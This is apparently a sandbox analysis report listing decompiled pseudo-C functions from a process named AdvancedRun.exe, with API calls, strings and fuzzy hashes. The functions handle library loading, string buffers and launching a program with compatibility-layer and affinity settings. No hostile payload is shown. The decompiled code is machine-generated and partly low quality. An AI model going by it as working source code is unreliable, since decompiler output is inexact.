Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileNameOpenwcscpy
String ID: L
API String ID: 3246554996-2909332022
Opcode ID: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction ID: bc55e530e402ba4b599a228f817f204aa1fc4279979982f23bca087f07049b97
Opcode Fuzzy Hash: a51a7b57d6ecd1b98ae1f97c69f64cb7c1c2e9715c85319fb07a92e86122e8f3
Instruction Fuzzy Hash: 9A015FB1D102199FDF40DFA9D885ADEBBF4BB08304F14812AE915F6240E77495458F98

Uniqueness

Uniqueness Score: -1.00%

Function 0040906D, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 28
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 58%

			E0040906D(struct HINSTANCE__** __eax, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24) {
				void* __esi;
				_Unknown_base(*)()* _t10;
				void* _t12;
				struct HINSTANCE__** _t13;

				_t13 = __eax;
				_t12 = 0;
				if(E00408F72(__eax) != 0) {
					_t10 = GetProcAddress( *_t13, "LookupAccountSidW");
					if(_t10 != 0) {
						_t12 =  *_t10(0, _a4, _a8, _a12, _a16, _a20, _a24);
					}
				}
				return _t12;
			}

0x00409072
0x00409074
0x0040907d
0x00409086
0x0040908e
0x004090a5
0x004090a5
0x0040908e
0x004090ac

APIs

GetProcAddress.KERNEL32(?,LookupAccountSidW), ref: 00409086

Strings

LookupAccountSidW, xrefs: 0040907F
Y@, xrefs: 0040906D

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc
String ID: LookupAccountSidW$Y@
API String ID: 190572456-2352570548
Opcode ID: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction ID: 3ebfd29b958db2e29df2983e37ea976ab6b1d16e8490ad6d4f073a9de280f7a1
Opcode Fuzzy Hash: ef5ceafcaa1143e80c32773d35785430279aa9a6fc3cb1ecefeef801cdbe6fb2
Instruction Fuzzy Hash: F5E0E537100109BBDF125E96DD01CAB7AA79F84750B144035FA54E1161D6368821A794

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD85, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040AD85(intOrPtr _a4) {
				_Unknown_base(*)()* _t3;
				void* _t7;
				struct HINSTANCE__* _t8;
				char** _t9;

				_t7 = 0;
				_t8 = E00405436(L"shlwapi.dll");
				 *_t9 = "SHAutoComplete";
				_t3 = GetProcAddress(_t8, ??);
				if(_t3 != 0) {
					_t7 =  *_t3(_a4, 0x10000001);
				}
				FreeLibrary(_t8);
				return _t7;
			}

0x0040ad8c
0x0040ad93
0x0040ad95
0x0040ad9d
0x0040ada5
0x0040adb2
0x0040adb2
0x0040adb5
0x0040adbf

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,shlwapi.dll), ref: 0040AD9D
FreeLibrary.KERNEL32(00000000,?,00403CB8,00000000), ref: 0040ADB5

Strings

shlwapi.dll, xrefs: 0040AD87

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Library$Load$AddressFreeProcmemsetwcscat
String ID: shlwapi.dll
API String ID: 4092907564-3792422438
Opcode ID: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction ID: 3ba04cc2888c968bb17b12a51753cff707eeab9003a5d350ca2caef87bad7666
Opcode Fuzzy Hash: 60c0f151f26cb5c38cd65ac108f35652f4abbc6483df8549b5860e56d1e4938b
Instruction Fuzzy Hash: E1D01235211111EBD7616B66AD44A9F7AA6DFC1351B060036F544F2191DB3C4846C669

Uniqueness

Uniqueness Score: -1.00%

Function 00406597, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406597(wchar_t* __esi) {
				wchar_t* _t2;
				wchar_t* _t6;

				_t6 = __esi;
				E00404AD9(__esi);
				_t2 = wcsrchr(__esi, 0x2e);
				if(_t2 != 0) {
					 *_t2 =  *_t2 & 0x00000000;
				}
				return wcscat(_t6, L"_lng.ini");
			}

0x00406597
0x00406598
0x004065a0
0x004065aa
0x004065ac
0x004065ac
0x004065bd

APIs

Part of subcall function 00404AD9: GetModuleFileNameW.KERNEL32(00000000,e/@,00000104,00402F65,00000000,?,?,00000000), ref: 00404AE4

wcsrchr.MSVCRT ref: 004065A0
wcscat.MSVCRT ref: 004065B6

Strings

_lng.ini, xrefs: 004065B0

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileModuleNamewcscatwcsrchr
String ID: _lng.ini
API String ID: 383090722-1948609170
Opcode ID: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction ID: e4456dc4ef972d75cd366ed24565615e7e819105f92635e6590d4ece6e8d8120
Opcode Fuzzy Hash: 3432a58373c8f6497560b18ec501466e1d989437fee4d639b0ed4d8698fe302d
Instruction Fuzzy Hash: 16C01292682620A4E2223322AC03B4F1248CF62324F21407BF906381C7EFBD826180EE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC52, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 13
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AC52() {
				struct HINSTANCE__* _t1;
				_Unknown_base(*)()* _t2;

				if( *0x4101c4 == 0) {
					_t1 = E00405436(L"shell32.dll");
					 *0x4101c4 = _t1;
					if(_t1 != 0) {
						_t2 = GetProcAddress(_t1, "SHGetSpecialFolderPathW");
						 *0x4101c0 = _t2;
						return _t2;
					}
				}
				return _t1;
			}

0x0040ac59
0x0040ac60
0x0040ac68
0x0040ac6d
0x0040ac75
0x0040ac7b
0x00000000
0x0040ac7b
0x0040ac6d
0x0040ac80

APIs

Part of subcall function 00405436: memset.MSVCRT ref: 00405456
Part of subcall function 00405436: wcscat.MSVCRT ref: 00405478
Part of subcall function 00405436: LoadLibraryW.KERNELBASE(00000000), ref: 00405489
Part of subcall function 00405436: LoadLibraryW.KERNEL32(?), ref: 00405492

GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040AC75

Strings

shell32.dll, xrefs: 0040AC5B
SHGetSpecialFolderPathW, xrefs: 0040AC6F

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: LibraryLoad$AddressProcmemsetwcscat
String ID: SHGetSpecialFolderPathW$shell32.dll
API String ID: 946536540-880857682
Opcode ID: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction ID: 297d67d15b42b64e279660486abf15c243c4c6a8dcafd005a32ae5f28444c9d4
Opcode Fuzzy Hash: c6b2f9cbd74a5c44be84662768ba9687afe1719f9bd5d931826811f56c49482b
Instruction Fuzzy Hash: 9AD0C9B0D8A301ABE7106BB0AF05B523AA4B704301F12417BF800B12E0DBBE90888A1E

Uniqueness

Uniqueness Score: -1.00%

Function 00406670, Relevance: 5.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00406670(char** __esi, void* __eflags) {
				char* _t30;
				char** _t39;

				_t39 = __esi;
				 *__esi = "cf@";
				__esi[0xb8] = 0;
				_t30 = E00404FA4(0x338, __esi);
				_push(0x14);
				__esi[0xcb] = 0;
				__esi[0xa6] = 0;
				__esi[0xb9] = 0;
				__esi[0xba] = 0xfff;
				__esi[8] = 0;
				__esi[1] = 0;
				__esi[0xb7] = 1;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[2] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[3] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_push(0x14);
				_t39[4] = _t30;
				L0040B26C();
				if(_t30 == 0) {
					_t30 = 0;
				} else {
					_t30[4] = 0;
					_t30[0x10] = 0;
					_t30[8] = 0;
					_t30[0xc] = 0x100;
					 *_t30 = 0;
				}
				_t39[5] = _t30;
				return _t39;
			}

0x00406670
0x0040667a
0x00406680
0x00406686
0x0040668b
0x0040668d
0x00406693
0x00406699
0x0040669f
0x004066a9
0x004066ac
0x004066af
0x004066b9
0x004066c7
0x004066d9
0x004066c9
0x004066c9
0x004066cc
0x004066cf
0x004066d2
0x004066d5
0x004066d5
0x004066db
0x004066dd
0x004066e0
0x004066e8
0x004066fa
0x004066ea
0x004066ea
0x004066ed
0x004066f0
0x004066f3
0x004066f6
0x004066f6
0x004066fc
0x004066fe
0x00406701
0x00406709
0x0040671b
0x0040670b
0x0040670b
0x0040670e
0x00406711
0x00406714
0x00406717
0x00406717
0x0040671d
0x0040671f
0x00406722
0x0040672a
0x0040673c
0x0040672c
0x0040672c
0x0040672f
0x00406732
0x00406735
0x00406738
0x00406738
0x0040673f
0x00406745

APIs

Part of subcall function 00404FA4: memset.MSVCRT ref: 00404FB2

??2@YAPAXI@Z.MSVCRT ref: 004066B9
??2@YAPAXI@Z.MSVCRT ref: 004066E0
??2@YAPAXI@Z.MSVCRT ref: 00406701
??2@YAPAXI@Z.MSVCRT ref: 00406722

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@$memset
String ID:
API String ID: 1860491036-0
Opcode ID: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction ID: f950f85206354bd8a0b3bb5dce35e971dba3beadb745d31d99e8bf3535aee89b
Opcode Fuzzy Hash: e85a19cc904d935af36f35088f158f19d60a259a6de7382aef0aa8ca398aac1e
Instruction Fuzzy Hash: F121D4B0A007008FD7219F2AC448956FBE8FF90314B2689BFD15ADB2B1D7B89441DF18

Uniqueness

Uniqueness Score: -1.00%

Function 004054DF, Relevance: 5.1, APIs: 4, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004054DF(signed int* __eax, void* __ecx, wchar_t* _a4) {
				int _v8;
				signed int _v12;
				void* __edi;
				int _t32;
				intOrPtr _t33;
				intOrPtr _t36;
				signed int _t48;
				signed int _t58;
				signed int _t59;
				void** _t62;
				void** _t63;
				signed int* _t66;

				_t66 = __eax;
				_t32 = wcslen(_a4);
				_t48 =  *(_t66 + 4);
				_t58 = _t48 + _t32;
				_v12 = _t58;
				_t59 = _t58 + 1;
				_v8 = _t32;
				_t33 =  *((intOrPtr*)(_t66 + 0x14));
				 *(_t66 + 4) = _t59;
				_t62 = _t66 + 0x10;
				if(_t59 != 0xffffffff) {
					E00404951(_t66, _t59, _t62, 2, _t33);
				} else {
					free( *_t62);
				}
				_t60 =  *(_t66 + 0x1c);
				_t36 =  *((intOrPtr*)(_t66 + 0x18));
				_t63 = _t66 + 0xc;
				if( *(_t66 + 0x1c) != 0xffffffff) {
					E00404951(_t66 + 8, _t60, _t63, 4, _t36);
				} else {
					free( *_t63);
				}
				memcpy( *(_t66 + 0x10) + _t48 * 2, _a4, _v8 + _v8);
				 *((short*)( *(_t66 + 0x10) + _v12 * 2)) =  *( *(_t66 + 0x10) + _v12 * 2) & 0x00000000;
				 *( *_t63 +  *(_t66 + 0x1c) * 4) = _t48;
				 *(_t66 + 0x1c) =  *(_t66 + 0x1c) + 1;
				_t30 =  *(_t66 + 0x1c) - 1; // -1
				return _t30;
			}

0x004054ea
0x004054ec
0x004054f1
0x004054f4
0x004054f7
0x004054fa
0x004054fe
0x00405501
0x00405505
0x00405508
0x0040550b
0x0040551b
0x0040550d
0x0040550f
0x0040550f
0x00405521
0x00405527
0x0040552b
0x0040552e
0x0040553f
0x00405530
0x00405532
0x00405532
0x00405556
0x00405561
0x0040556e
0x00405571
0x00405578
0x0040557e

APIs

wcslen.MSVCRT ref: 004054EC
free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 0040550F

Part of subcall function 00404951: malloc.MSVCRT ref: 0040496D
Part of subcall function 00404951: memcpy.MSVCRT ref: 00404985
Part of subcall function 00404951: free.MSVCRT(00000000,00000000,?,004055BF,00000002,?,00000000,?,004057E1,00000000,?,00000000), ref: 0040498E

free.MSVCRT(?,00000001,?,00000000,?,?,?,00405830,?,00000000,?,00000000), ref: 00405532
memcpy.MSVCRT ref: 00405556

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: free$memcpy$mallocwcslen
String ID:
API String ID: 726966127-0
Opcode ID: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction ID: a1978c74b5bce8e8bf6bff77aa8c6c4d26791a9d8288a70caf523018dd8727ee
Opcode Fuzzy Hash: 5c7b7bb3817ea86daae365c80c5e036228049141d00745b32d160c1d254800f2
Instruction Fuzzy Hash: 14216FB1500704EFC720DF68D881C9BB7F5EF483247208A6EF456A7691D735B9158B98

Uniqueness

Uniqueness Score: -1.00%

Function 00405ADF, Relevance: 5.1, APIs: 4, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 81%

			E00405ADF() {
				void* _t25;
				signed int _t27;
				signed int _t29;
				signed int _t31;
				signed int _t33;
				signed int _t50;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t60;

				_t60 =  *0x41c470;
				if(_t60 == 0) {
					_t50 = 2;
					 *0x41c470 = 0x8000;
					_t27 = 0x8000 * _t50;
					 *0x41c474 = 0x100;
					 *0x41c478 = 0x1000;
					_push( ~(0 | _t60 > 0x00000000) | _t27);
					L0040B26C();
					 *0x41c458 = _t27;
					_t52 = 4;
					_t29 =  *0x41c474 * _t52;
					_push( ~(0 | _t60 > 0x00000000) | _t29);
					L0040B26C();
					 *0x41c460 = _t29;
					_t54 = 4;
					_t31 =  *0x41c474 * _t54;
					_push( ~(0 | _t60 > 0x00000000) | _t31);
					L0040B26C();
					 *0x41c464 = _t31;
					_t56 = 2;
					_t33 =  *0x41c478 * _t56;
					_push( ~(0 | _t60 > 0x00000000) | _t33);
					L0040B26C();
					 *0x41c45c = _t33;
					return _t33;
				}
				return _t25;
			}

0x00405adf
0x00405ae6
0x00405af5
0x00405af6
0x00405afb
0x00405b00
0x00405b0a
0x00405b18
0x00405b19
0x00405b1e
0x00405b2c
0x00405b2d
0x00405b36
0x00405b37
0x00405b3c
0x00405b4a
0x00405b4b
0x00405b54
0x00405b55
0x00405b5a
0x00405b68
0x00405b69
0x00405b72
0x00405b73
0x00405b7b
0x00000000
0x00405b7b
0x00405b80

APIs

??2@YAPAXI@Z.MSVCRT ref: 00405B19
??2@YAPAXI@Z.MSVCRT ref: 00405B37
??2@YAPAXI@Z.MSVCRT ref: 00405B55
??2@YAPAXI@Z.MSVCRT ref: 00405B73

Memory Dump Source

Source File: 0000000B.00000002.333687322.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.333678597.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333723511.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000000B.00000002.333753320.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000000B.00000002.333768741.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction ID: f2da1691ca32ceef4ebb7ffb039160a3052a1a0853e807cf512b268ff05fa3b0
Opcode Fuzzy Hash: fe94db315f44a6ad13eaa6f5e90a6aac049872e3421695f41c948c22f86c7b92
Instruction Fuzzy Hash: 850121B12C63005EE758DB38EDAB77A36A4E748754F00913EA146CE1F5EB7454408E4C

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: AdvancedRun.exe PID: 5716 Parent PID: 5504 AdvancedRun.exeCOMMON

Executed Functions

Function 004022D5, Relevance: 61.7, APIs: 25, Strings: 10, Instructions: 435
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004022D5(void* __ecx, void* __edx, void* __eflags, long _a4, long _a8) {
				WCHAR* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				char* _v24;
				int _v28;
				intOrPtr _v32;
				int _v36;
				int _v40;
				char _v44;
				void* _v56;
				int _v60;
				char _v92;
				void _v122;
				int _v124;
				short _v148;
				signed int _v152;
				intOrPtr _v168;
				intOrPtr _v172;
				intOrPtr _v176;
				intOrPtr _v180;
				void _v192;
				char _v196;
				char _v228;
				void _v258;
				int _v260;
				void _v786;
				short _v788;
				void _v1314;
				short _v1316;
				void _v1842;
				short _v1844;
				void _v18234;
				short _v18236;
				char _v83772;
				void* __ebx;
				void* __edi;
				void* __esi;
				short* _t174;
				short _t175;
				signed int _t176;
				short _t177;
				short _t178;
				int _t184;
				signed int _t187;
				intOrPtr _t207;
				intOrPtr _t219;
				int* _t252;
				int* _t253;
				int* _t266;
				int* _t267;
				wchar_t* _t270;
				int _t286;
				void* _t292;
				void* _t304;
				WCHAR* _t308;
				WCHAR* _t310;
				intOrPtr* _t311;
				int _t312;
				WCHAR* _t315;
				void* _t325;
				void* _t328;

				_t304 = __edx;
				E0040B550(0x1473c, __ecx);
				_t286 = 0;
				 *_a4 = 0;
				_v12 = 0;
				_v16 = 0;
				_v20 = 0;
				memset( &_v192, 0, 0x40);
				_v60 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 = 0;
				_v40 = 0;
				_v28 = 0;
				_v36 = 0;
				_v32 = 0x100;
				_v44 = 0;
				_v1316 = 0;
				memset( &_v1314, 0, 0x208);
				_v788 = 0;
				memset( &_v786, 0, 0x208);
				_t315 = _a8;
				_t328 = _t325 + 0x24;
				_v83772 = 0;
				_v196 = 0x44;
				E00404923(0x104,  &_v788, _t315);
				if(wcschr(_t315, 0x25) != 0) {
					ExpandEnvironmentStringsW(_t315,  &_v788, 0x104);
				}
				if(_t315[0x2668] != _t286 && wcschr( &_v788, 0x5c) == 0) {
					_v8 = _t286;
					_v1844 = _t286;
					memset( &_v1842, _t286, 0x208);
					_t328 = _t328 + 0xc;
					SearchPathW(_t286,  &_v788, _t286, 0x104,  &_v1844,  &_v8);
					if(_v1844 != _t286) {
						E00404923(0x104,  &_v788,  &_v1844);
					}
				}
				_t308 =  &(_t315[0x2106]);
				if( *_t308 == _t286) {
					E00404B5C( &_v1316,  &_v788);
					__eflags = _v1316 - _t286;
					_t315 = _a8;
					_pop(_t292);
					if(_v1316 == _t286) {
						goto L11;
					}
					goto L10;
				} else {
					_v20 = _t308;
					_t270 = wcschr(_t308, 0x25);
					_pop(_t292);
					if(_t270 == 0) {
						L11:
						_t174 =  &(_t315[0x220e]);
						if( *_t174 != 1) {
							_v152 = _v152 | 0x00000001;
							_v148 =  *_t174;
						}
						_t309 = ",";
						if(_t315[0x2210] != _t286 && _t315[0x2212] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2212]), _t292,  &_v260, 0x1f,  &_v8, ",");
							E004052F3( &(_t315[0x2212]), _t292,  &_v124, 0x1f,  &_v8, ",");
							_v152 = _v152 | 0x00000004;
							_t266 =  &_v260;
							_push(_t266);
							L0040B1F8();
							_v180 = _t266;
							_t328 = _t328 + 0x3c;
							_t267 =  &_v124;
							L0040B1F8();
							_t292 = _t267;
							_v176 = _t267;
						}
						if(_t315[0x2232] != _t286 && _t315[0x2234] != _t286) {
							_v260 = _t286;
							memset( &_v258, _t286, 0x3e);
							_v124 = _t286;
							memset( &_v122, _t286, 0x3e);
							_v8 = _t286;
							E004052F3( &(_t315[0x2234]), _t292,  &_v260, 0x1f,  &_v8, _t309);
							E004052F3( &(_t315[0x2234]), _t292,  &_v124, 0x1f,  &_v8, _t309);
							_v152 = _v152 | 0x00000002;
							_t252 =  &_v260;
							_push(_t252);
							L0040B1F8();
							_v172 = _t252;
							_t328 = _t328 + 0x3c;
							_t253 =  &_v124;
							_push(_t253);
							L0040B1F8();
							_v168 = _t253;
						}
						_t310 =  &(_t315[0x105]);
						if( *_t310 != _t286) {
							if(_t315[0x266a] == _t286 || wcschr(_t310, 0x25) == 0) {
								_push(_t310);
							} else {
								_v18236 = _t286;
								memset( &_v18234, _t286, 0x4000);
								_t328 = _t328 + 0xc;
								ExpandEnvironmentStringsW(_t310,  &_v18236, 0x2000);
								_push( &_v18236);
							}
							_push( &_v788);
							_push(L"\"%s\" %s");
							_push(0x7fff);
							_push( &_v83772);
							L0040B1EC();
							_v24 =  &_v83772;
						}
						_t175 = _t315[0x220c];
						if(_t175 != 0x20) {
							_v12 = _t175;
						}
						_t311 = _a4;
						if(_t315[0x2254] == 2) {
							E00401D1E(_t311, L"RunAsInvoker");
						}
						_t176 = _t315[0x265c];
						if(_t176 != _t286 && _t176 - 1 <= 0xc) {
							E00401D1E(_t311,  *((intOrPtr*)(0x40f2a0 + _t176 * 4)));
						}
						_t177 = _t315[0x265e];
						if(_t177 != 1) {
							__eflags = _t177 - 2;
							if(_t177 != 2) {
								goto L37;
							}
							_push(L"16BITCOLOR");
							goto L36;
						} else {
							_push(L"256COLOR");
							L36:
							E00401D1E(_t311);
							L37:
							if(_t315[0x2660] == _t286) {
								__eflags = _t315[0x2662] - _t286;
								if(_t315[0x2662] == _t286) {
									__eflags = _t315[0x2664] - _t286;
									if(_t315[0x2664] == _t286) {
										__eflags = _t315[0x2666] - _t286;
										if(_t315[0x2666] == _t286) {
											L46:
											_t178 = _t315[0x2a6e];
											_t358 = _t178 - 3;
											if(_t178 != 3) {
												__eflags = _t178 - 2;
												if(_t178 != 2) {
													__eflags =  *_t311 - _t286;
													if( *_t311 == _t286) {
														_push(_t286);
													} else {
														_push(_t311);
													}
													SetEnvironmentVariableW(L"__COMPAT_LAYER", ??);
													L63:
													_t293 = _t311;
													_t184 = E00401FE6(_t315, _t311, _t304,  &_v788, _v24, _v12, _v16, _v20,  &_v196,  &_v60); // executed
													_t312 = _t184;
													if(_t312 == _t286 && _v60 != _t286) {
														_t363 = _t315[0x266c] - _t286;
														if(_t315[0x266c] != _t286) {
															_t187 = E00401A3F(_t293, _t363,  &(_t315[0x266e]));
															_a4 = _a4 | 0xffffffff;
															_a8 = _t286;
															GetProcessAffinityMask(_v60,  &_a8,  &_a4);
															_t184 = SetProcessAffinityMask(_v60, _a4 & _t187);
														}
													}
													E004055D1(_t184,  &_v44);
													return _t312;
												}
												E00405497( &_v92);
												E00405497( &_v228);
												E0040149F(__eflags,  &_v92);
												E0040135C(E004055EC( &(_t315[0x2a70])), __eflags,  &_v228);
												E00401551( &_v228, _t304, __eflags,  &_v92);
												_t204 = _a4;
												__eflags =  *_a4;
												if(__eflags != 0) {
													E004014E9( &_v92, _t304, __eflags,  &_v92, _t204);
												}
												E00401421( &_v44, _t304,  &_v92, __eflags);
												_t207 = _v28;
												__eflags = _t207;
												_v16 = 0x40c4e8;
												if(_t207 != 0) {
													_v16 = _t207;
												}
												_v12 = _v12 | 0x00000400;
												E004054B9( &_v228);
												E004054B9( &_v92);
												_t286 = 0;
												__eflags = 0;
												L58:
												_t315 = _a8;
												_t311 = _a4;
												goto L63;
											}
											E00405497( &_v92);
											E0040135C(E004055EC( &(_t315[0x2a70])), _t358,  &_v92);
											_t359 =  *_t311 - _t286;
											if( *_t311 != _t286) {
												E004014E9( &_v92, _t304, _t359,  &_v92, _t311);
											}
											E00401421( &_v44, _t304,  &_v92, _t359);
											_t219 = _v28;
											_v16 = 0x40c4e8;
											if(_t219 != _t286) {
												_v16 = _t219;
											}
											_v12 = _v12 | 0x00000400;
											E004054B9( &_v92);
											goto L58;
										}
										_push(L"HIGHDPIAWARE");
										L45:
										E00401D1E(_t311);
										goto L46;
									}
									_push(L"DISABLEDWM");
									goto L45;
								}
								_push(L"DISABLETHEMES");
								goto L45;
							}
							_push(L"640X480");
							goto L45;
						}
					}
					ExpandEnvironmentStringsW(_t308,  &_v1316, 0x104);
					L10:
					_v20 =  &_v1316;
					goto L11;
				}
			}

APIs

memset.MSVCRT ref: 00402300
memset.MSVCRT ref: 0040233E
memset.MSVCRT ref: 00402356

Part of subcall function 00404923: wcslen.MSVCRT ref: 0040492A
Part of subcall function 00404923: memcpy.MSVCRT ref: 00404940

wcschr.MSVCRT ref: 00402387
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 004023A0

Part of subcall function 00404B5C: wcscpy.MSVCRT ref: 00404B61
Part of subcall function 00404B5C: wcsrchr.MSVCRT ref: 00404B69

wcschr.MSVCRT ref: 004023B7
memset.MSVCRT ref: 004023D9
SearchPathW.KERNEL32(00000000,?,00000000,00000104,?,?,?,?,?,?,?,?,?,?,00000208), ref: 004023F6
wcschr.MSVCRT ref: 0040242B
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104), ref: 00402443
memset.MSVCRT ref: 004024BE
memset.MSVCRT ref: 004024D1
_wtoi.MSVCRT ref: 00402519
_wtoi.MSVCRT ref: 0040252B
memset.MSVCRT ref: 00402561
memset.MSVCRT ref: 00402574
_wtoi.MSVCRT ref: 004025BC
_wtoi.MSVCRT ref: 004025CE
wcschr.MSVCRT ref: 004025F0
memset.MSVCRT ref: 0040260F
ExpandEnvironmentStringsW.KERNEL32(?,?,00002000,?,?,?,?,?,?,?,?,00000208), ref: 00402624
_snwprintf.MSVCRT ref: 0040264C
SetEnvironmentVariableW.KERNEL32(__COMPAT_LAYER,00000000), ref: 00402819
GetProcessAffinityMask.KERNEL32 ref: 00402879
SetProcessAffinityMask.KERNEL32 ref: 00402888

Strings

DISABLETHEMES, xrefs: 004026DD
__COMPAT_LAYER, xrefs: 00402814
640X480, xrefs: 004026CE
16BITCOLOR, xrefs: 004026BA
DISABLEDWM, xrefs: 004026EC
HIGHDPIAWARE, xrefs: 004026FB
RunAsInvoker, xrefs: 00402677
256COLOR, xrefs: 004026AE
"%s" %s, xrefs: 0040263B
D, xrefs: 00402374

Memory Dump Source

Source File: 0000000D.00000002.332706660.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.332694272.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000D.00000002.332729496.000000000040C000.00000002.00020000.sdmp Download File
